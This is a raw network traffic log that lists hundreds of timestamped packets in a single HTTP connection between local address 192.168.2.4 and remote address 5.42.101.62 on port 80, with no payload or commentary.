Sep 30, 2024 12:22:32.894522905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894536018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894551039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894556046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894570112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894573927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894582033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894587994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894603014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894608974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894630909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894648075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894663095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894670010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894681931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894691944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894697905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894706964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894714117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894723892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894737959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894742012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894752979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894778967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894787073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894800901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894815922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894824028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894830942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894850016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894851923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894860983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894875050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894887924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894890070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894903898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894920111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894925117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894937038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894942045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894954920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894958973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894970894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894974947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894994020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895009041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895034075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895050049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895066977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895071983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895082951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895087957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895100117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895104885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895116091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895123959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895133018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895138979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895153999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895159960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895170927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895176888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895194054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895210028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895272017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895287991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895303011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895313978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895318031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895323038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895334005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895335913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895349026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895349979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895365000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895369053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895376921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895381927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895404100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895405054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895414114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895421028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895435095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895446062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895451069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895461082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895476103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895479918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895492077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895493984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895529032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895571947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895586967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895601034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895601988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895613909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895625114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895628929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895636082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895643950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895652056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895663977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895668030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895675898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895683050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895698071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895709038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895739079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895741940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895756960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895771027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895780087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895790100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895792007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895807028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895812988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895824909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895828962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895838976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895839930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895853043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895853996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895865917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895880938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895935059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895950079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895963907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895967960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895976067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.895987988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.895987988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896003008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896017075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896018028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896028996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896033049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896042109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896051884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896063089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896066904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896080017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896096945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896136045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896150112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896163940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896166086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896177053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896181107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896193981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896195889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896209002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896212101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896220922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896239996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896270990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896285057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896300077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896300077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896315098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896317959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896328926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896330118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896343946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896344900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896356106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896378994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896397114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896431923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896498919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896513939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896528959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896533012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896545887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896547079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896560907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896562099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896576881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896579027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896590948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896595001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896627903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896672010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896691084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896696091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896713972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896717072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896728039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896734953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896744013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896749973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896763086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896779060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896806002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896821976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896836996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896843910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896855116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896857977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896871090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896873951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896891117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896893978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896904945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896923065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.896954060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896967888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896982908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.896996975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.897001982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.897018909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.897039890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981419086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981518984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981553078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981584072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981620073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981676102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981703997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981712103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981731892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981748104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981774092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981802940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981815100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981837988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981852055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981873035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981884003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981908083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981931925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981939077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.981976986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981991053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.981991053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982033014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982053041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982064962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982081890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982117891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982125044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982147932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982171059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982180119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982187033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982213974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982233047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982263088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982269049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982310057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982319117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982341051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982357025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982376099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982392073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982410908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982467890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982472897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982501030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982517004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982517004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982534885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982554913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982568026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982590914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982601881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982610941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982635021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982654095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982671022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982676983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982705116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982722044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982738018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982753038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982772112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982786894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982822895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982825041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982858896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982867956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982892990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982909918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982930899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982939959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982965946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.982980013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.982997894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983015060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983052015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983059883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983086109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983098030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983119011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983138084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983151913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983172894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983196974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983207941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983239889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983292103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983304024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983325958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983340979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983340979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983365059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983376026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983418941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983433962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983458042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983488083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983490944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983513117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983525991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983545065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983561993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983584881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983617067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983623028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983669996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983670950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983705997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983725071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983740091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983756065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983774900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983779907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983825922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983829021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983861923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983882904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983908892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983912945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983947039 CEST	80	52534	5.42.101.62	192.168.2.4
